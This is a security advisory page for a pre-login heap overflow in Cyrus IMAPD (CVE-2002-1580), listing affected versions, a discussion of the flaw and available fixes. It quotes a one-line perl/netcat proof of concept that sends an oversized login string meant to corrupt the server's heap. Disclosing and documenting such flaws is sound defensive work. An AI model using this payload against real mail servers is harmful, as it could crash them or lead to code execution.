Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

BID:6298

Info

Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

Bugtraq ID: 6298
Class: Boundary Condition Error
CVE: CVE-2002-1580
Remote: Yes
Local: No
Published: Dec 02 2002 12:00AM
Updated: Jul 11 2009 07:16PM
Credit: Vulnerability discovery credited to Timo Sirainen <[email protected]>.
Vulnerable: Cmu Cyrus IMAP Server 2.1.10
Cmu Cyrus IMAP Server 2.1.9
+ SuSE Linux 8.1
Cmu Cyrus IMAP Server 2.0.16
+ SuSE Linux 8.0 i386
+ SuSE Linux 7.3 sparc
+ SuSE Linux 7.3 ppc
+ SuSE Linux 7.3 i386
Cmu Cyrus IMAP Server 2.0.12
+ SuSE Linux 7.1 x86
+ SuSE Linux 7.1 ppc
+ SuSE Linux 7.1 alpha
Cmu Cyrus IMAP Server 1.5.19
+ Debian Linux 3.0
+ Debian Linux 2.2
Cmu Cyrus IMAP Server 1.4
Not Vulnerable:

Discussion

Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

Cyrus IMAPD is a freely available, open source Interactive Mail Access Protocol (IMAP) daemon. It is available for Unix and Linux operating systems.

It has been reported that Cyrus IMAPD does not sufficiently handle overly long strings. In some cases, when a user connects to the daemon, and upon negotiating the connection sends a login string of excessive length, a buffer overflow occurs. This could result in heap corruption and arbitrary words in memory being overwritten. It may be possible to exploit this issue to execute arbitrary code.

Exploit / POC

Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

The following proof of concept has been made available by Timo Sirainen &lt;[email protected]&gt;:

perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
&lt;ctrl-c&gt;

Solution / Fix

Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

Solution:
Debian has released an advisory (DSA 215-1) which contains fixes. Information about obtaining and applying these fixes can be found in the attached advisory.

Fixes are available:


Cmu Cyrus IMAP Server 1.5.19

Cmu Cyrus IMAP Server 2.0.12

Cmu Cyrus IMAP Server 2.0.16

Cmu Cyrus IMAP Server 2.1.9

References

Cyrus IMAPD Pre-Login Heap Corruption Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report